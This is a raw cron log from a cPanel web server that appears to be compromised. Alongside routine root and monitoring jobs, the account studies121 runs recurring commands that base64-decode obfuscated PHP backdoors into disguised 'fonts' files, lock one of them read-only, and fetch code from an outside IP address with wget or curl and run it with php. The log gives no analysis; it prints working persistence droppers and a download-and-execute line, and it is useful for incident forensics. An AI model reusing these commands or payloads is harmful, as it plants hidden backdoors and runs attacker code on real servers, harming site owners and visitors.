Sep 21 17:34:02 ip-184-168-122-23 CROND[20117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:35:01 ip-184-168-122-23 CROND[20223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:35:01 ip-184-168-122-23 CROND[20224]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 17:35:01 ip-184-168-122-23 CROND[20227]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 17:35:01 ip-184-168-122-23 CROND[20229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:35:01 ip-184-168-122-23 CROND[20234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:35:01 ip-184-168-122-23 CROND[20237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:35:01 ip-184-168-122-23 CROND[20232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:35:01 ip-184-168-122-23 CROND[20236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:36:01 ip-184-168-122-23 CROND[20331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:36:01 ip-184-168-122-23 CROND[20334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:36:01 ip-184-168-122-23 CROND[20332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:36:01 ip-184-168-122-23 CROND[20333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:36:01 ip-184-168-122-23 CROND[20335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:37:01 ip-184-168-122-23 CROND[20548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:37:01 ip-184-168-122-23 CROND[20549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:37:01 ip-184-168-122-23 CROND[20551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:37:01 ip-184-168-122-23 CROND[20554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:38:01 ip-184-168-122-23 CROND[20806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:38:01 ip-184-168-122-23 CROND[20808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:38:01 ip-184-168-122-23 CROND[20809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:38:01 ip-184-168-122-23 CROND[20810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:38:01 ip-184-168-122-23 CROND[20811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:39:01 ip-184-168-122-23 CROND[21005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:39:01 ip-184-168-122-23 CROND[21008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:39:01 ip-184-168-122-23 CROND[21007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:39:01 ip-184-168-122-23 CROND[21009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:39:01 ip-184-168-122-23 CROND[21010]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 17:40:01 ip-184-168-122-23 CROND[21123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:40:01 ip-184-168-122-23 CROND[21125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:40:01 ip-184-168-122-23 CROND[21129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:40:01 ip-184-168-122-23 CROND[21127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:40:01 ip-184-168-122-23 CROND[21126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:40:01 ip-184-168-122-23 CROND[21130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:40:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:40:01 ip-184-168-122-23 CROND[21131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 17:41:01 ip-184-168-122-23 CROND[21235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:41:01 ip-184-168-122-23 CROND[21236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:41:01 ip-184-168-122-23 CROND[21238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:41:01 ip-184-168-122-23 CROND[21240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:42:01 ip-184-168-122-23 CROND[21356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:42:01 ip-184-168-122-23 CROND[21358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:42:01 ip-184-168-122-23 CROND[21360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:42:01 ip-184-168-122-23 CROND[21359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:42:01 ip-184-168-122-23 CROND[21361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:43:01 ip-184-168-122-23 CROND[21646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:43:01 ip-184-168-122-23 CROND[21648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:43:01 ip-184-168-122-23 CROND[21647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:43:01 ip-184-168-122-23 CROND[21649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:44:01 ip-184-168-122-23 CROND[21747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:44:01 ip-184-168-122-23 CROND[21749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:44:01 ip-184-168-122-23 CROND[21750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:44:01 ip-184-168-122-23 CROND[21751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:44:01 ip-184-168-122-23 CROND[21752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:45:02 ip-184-168-122-23 CROND[21858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:45:02 ip-184-168-122-23 CROND[21859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:45:02 ip-184-168-122-23 CROND[21860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:45:02 ip-184-168-122-23 CROND[21862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:45:02 ip-184-168-122-23 CROND[21865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:45:02 ip-184-168-122-23 CROND[21866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:46:01 ip-184-168-122-23 CROND[21974]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 17:46:01 ip-184-168-122-23 CROND[21981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:46:01 ip-184-168-122-23 CROND[21976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:46:01 ip-184-168-122-23 CROND[21978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
